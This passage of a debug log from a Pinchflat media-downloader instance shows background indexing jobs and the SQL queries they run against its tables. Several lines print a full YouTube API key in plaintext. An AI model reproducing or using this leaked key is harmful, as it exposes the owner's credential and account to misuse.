s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [15] 17:27:07.976 [debug] QUERY OK source="tasks" db=0.1ms idle=74.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800208, 15, ~U[2026-02-10 23:27:07Z], ~U[2026-02-10 23:27:07Z]] 17:27:07.977 [info] {"args":{"id":15},"id":3800169,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":130901,"event":"job:stop","queue_time":489590,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:07.982 [info] {"args":{"id":22},"id":3800171,"meta":{},"system_time":1770766027982689842,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:07.982 [debug] QUERY OK source="sources" db=0.1ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [22] 17:27:07.983 [debug] QUERY OK source="settings" db=0.1ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:07.983 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:27:07.983 [debug] QUERY OK source="settings" db=0.1ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:07.983 [debug] Fetching recent media IDs from YouTube API for playlist: UUBZiUUYeLfS5rIj4TQvgSvA 17:27:07.983 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:07.983 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:27:08.076 [debug] QUERY OK source="media_items" db=0.4ms idle=92.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [13, "aJDWyp19j9w", "WnBb3DLlVPw", "RYKpKMFIdGQ", "Hzz_d9Y44ZE", "fDvxq7IF1W4", "0xLzDF7PZW8", "EYoOiVsHJTw", "IrZCYj2ZHj8", "3GUQdrpduo0", "Y2qSaD1v4cQ", "P3Y4d2aHnNE", "XgzL05Gojfw", "0Kp3bjm55xw", "upLSYyprib8", "ZA_EifQu6is", "_hAuKtoRxJI", "HQtwULiTEmo", "pmKL3pgPQhY", "rW1cg3hDdc4", "wjny4u5THpU", "wjDaUFdKjR4", "itAMIIBnZ-8", "yO5fJ8z66Z8", "C4cNnVK412U", "eUywI8YGy0Y", "7hdJQkn8rtA", "ed8QTKtLxKs", "ZaeBfVc1NZQ", "hQFkbg7he-4", "ChtJ8gUuQWY", "1WuJtcgExa8", "RpoXFk-ixZc", "NCkyQuKjpVc", "EZbsIT2Uh5k", "NeopkvAP-ag", "m5s6xerRqVY", "UOIFxgid0uk", "LUTx3uwuQFE", "Xx_ylYKD6Bo", "VDV1R1j1n5I", "5E4nMfxjA3s", "gpDqUyXKqTA", "BRdq2ExLJns", "HfFAiCMLJ14", "TC9-t47tKts", "ivSOrKAsPss", "tBD1NyabTt4", "33yvx6Uui-c", "FuSsFdzF8tE", ...] 17:27:08.076 [debug] QUERY OK source="media_items" db=0.2ms idle=93.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [13] 17:27:08.077 [debug] QUERY OK source="tasks" db=0.1ms idle=93.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800209, 13, ~U[2026-02-10 23:27:08Z], ~U[2026-02-10 23:27:08Z]] 17:27:08.077 [info] {"args":{"id":13},"id":3800170,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":175952,"event":"job:stop","queue_time":469812,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:08.156 [debug] QUERY OK source="media_items" db=0.6ms idle=78.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [22, "aBRl73fC4-w", "8o8tl_s5hRE", "xO1MFgGVL8A", "fnW_Kbd0epU", "wlwBjCkcoFA", "BXOFhgj8exU", "IfsIu6p6BAg", "J-kMNoHzsjE", "KR56UQviXIA", "OX0gCdPIpO0", "yPIaCiTVEjE", "kyCJ17oq6kI", "UNIPJO5NvJk", "KjvPdIlDaQw", "xzGzXM3sYVI", "QFA5HOkw5Jg", "U5F-B2145JA", "VzcDyndh6uU", "m_uh56JhY4U", "PoeXzuQllKI", "KgItDGqwnDk", "E_dTga__P6w", "y4wdQRmGo7E", "BHQ5h_1bZUs", "10-hCMFcqX8", "vIwqKtD9u3Y", "b-zFY7w4is0", "0hghU1uXY30", "QC5SWSDiGiU", "vN-De4mzuX8", "ctTrCHmuZM4", "73qR9pdlsAo", "xzIADWo9-bc", "v0D9A_1TQ5Y", "CtX5kHZMr6w", "5MhzgeMI6JU", "9W60J35R-kQ", "Er2blBiXFDc", "TftKgvXUH54", "c6vJsI9V94E", "1am-k4WthCI", "GsUTnFu08SM", "Iz3Q-b0k2vY", "pHJnYgdGhUo", "pNyejYjV9Lo", "wsYhtLN5by0", "gQaMracObcw", "R-FqE10GQZc", "k5ueDLDOlAI", ...] 17:27:08.157 [debug] QUERY OK source="media_items" db=0.3ms idle=79.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [22] 17:27:08.158 [debug] QUERY OK source="tasks" db=0.2ms idle=74.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800210, 22, ~U[2026-02-10 23:27:08Z], ~U[2026-02-10 23:27:08Z]] 17:27:08.158 [info] {"args":{"id":22},"id":3800171,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":175878,"event":"job:stop","queue_time":455807,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:09.848 [info] {"args":{"id":14},"id":3800172,"meta":{},"system_time":1770766029848880892,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:09.849 [debug] QUERY OK source="sources" db=0.2ms idle=1690.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [14] 17:27:09.849 [debug] QUERY OK source="settings" db=0.1ms idle=1684.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:09.849 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1008.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:27:09.850 [debug] QUERY OK source="settings" db=0.1ms idle=7.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:09.850 [debug] Fetching recent media IDs from YouTube API for playlist: UU0vBXGSyV14uvJ4hECDOl0Q 17:27:09.850 [debug] QUERY OK source="settings" db=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:09.850 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:27:09.935 [debug] QUERY OK source="media_items" db=0.6ms idle=85.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [14, "NqHoFbA7oEk", "y73SPpeDz2E", "864HSWFIBY4", "UASz0VPQEx4", "xmqvssSmphg", "2UUkewknce4", "-ltZwIdeREY", "vwTDiLH6mqg", "pbW1ySDef_E", "-8A7a3w-bZw", "Qnauk0wEerQ", "xP4hOcYKCTo", "OltyPPiWhqg", "1mNIvSanVR8", "AdJnqXLeth8", "QWWfIg3F36k", "bztt89scgH0", "Ih1c6_PnLbo", "9zCt0Iuo_1c", "xQL-tr6l5yg", "lv8ty1wn0TE", "Uj8Ajtelzw8", "Cup6uH0_8z8", "M24VNNtj7dg", "6ZS6Hmjnp14", "yvUTsieYw20", "HNapnDvLKTs", "7EMS_9ZydT8", "hp-ASYtCDNE", "8XP47iCJlJk", "UJaRNiLTiKQ", "swm7n88QmLA", "NVEOV_FgGBc", "4c17zAW6Q54", "TbuAvyyjxyM", "kTMEXgxtE4s", "aViuBgbokmI", "XS_I3cN9CeI", "oK9XgPNXeUI", "1tf5v-I72VQ", "iQxHEkbwqzY", "_a6TbDoSOe4", "LpoGGGDtK9U", "BrfKaMHCjGA", "9Aw-hoPrHok", "frJ4DvQYpes", "cQUlbFmjDcM", "Ty92ZPi6LAY", "55NAeEwEqtQ", ...] 17:27:09.937 [debug] QUERY OK source="media_items" db=1.1ms idle=86.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [14] 17:27:09.937 [debug] QUERY OK source="tasks" db=0.1ms idle=87.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800211, 14, ~U[2026-02-10 23:27:09Z], ~U[2026-02-10 23:27:09Z]] 17:27:09.938 [info] {"args":{"id":14},"id":3800172,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":89045,"event":"job:stop","queue_time":524026,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:11.851 [info] {"args":{"id":4},"id":3800173,"meta":{},"system_time":1770766031851786944,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:11.852 [info] {"args":{"id":24},"id":3800174,"meta":{},"system_time":1770766031851821418,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:11.852 [debug] QUERY OK source="sources" db=0.2ms idle=1913.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 17:27:11.852 [debug] QUERY OK source="sources" db=0.2ms idle=1907.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [24] 17:27:11.852 [debug] QUERY OK source="settings" db=0.0ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:11.852 [debug] QUERY OK source="settings" db=0.1ms idle=1008.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:11.852 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:27:11.852 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:27:11.852 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:11.852 [debug] Fetching recent media IDs from YouTube API for playlist: UUDiKw3GnFIwyNJBzhCoRI-Q 17:27:11.852 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:11.853 [debug] Fetching recent media IDs from YouTube API for playlist: UUgzg_f5HC6EnY-9q5Px1Q-g 17:27:11.853 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:11.853 [debug] QUERY OK source="settings" db=0.0ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:11.853 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:27:11.853 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:27:11.959 [debug] QUERY OK source="media_items" db=0.7ms idle=105.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [24, "EqcdcLKC5bE", "XWN9YMVaTio", "0ff4TbRMPcE", "lr65O1qIhT4", "lQPuHoc-93U", "8jv8nOKR_Ck", "8lzNViKW9F8", "r2GTUZ2zQSE", "Ki7sgG5i5P0", "dI43FJGa52A", "Tb0Z5jKFrKA", "A1QzVQn8hH8", "lWvIsb06YYg", "rLmO075A07c", "uPvdvnz9rLc", "IBk-Nh0VRy0", "IclNtwcicpc", "emMmkd-o2-o", "o3CQZ4JmTU8", "p6Q9chqIwyg", "0voL1hfm3e4", "HCQGhsHO1nM", "6xs7fjbo2NM", "yCdY2eeT8fQ", "faSZB8yewoU", "otxMmPttGp4", "7pysYXsQ8Ps", "QJtdNwlYFDM", "iBclMIJgm7k", "UI4lFdFfOFI", "apGupfbctgs", "qhRfchtbX-0", "73Vhinj4iEI", "M6o0F4zC8Ps", "NrQ0BAnY8sk", "y7WdMKmMR5Y", "J0z4YoAcmKI", "6eSG5JLP0-g", "AvswAhGn_PU", "4FFIce1pjH0", "yOM58cUfPhs", "gTT34dgyJfA", "hZJe5fqUbQA", "RNGpdA2TR1M", "PmIe2ZOPcA0", "zImBY_tGMIU", "1VUhrRFTY_0", "QJDpwY5MGjs", "xYFjwbtJs7U", ...] 17:27:11.960 [debug] QUERY OK source="media_items" db=0.1ms idle=107.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR 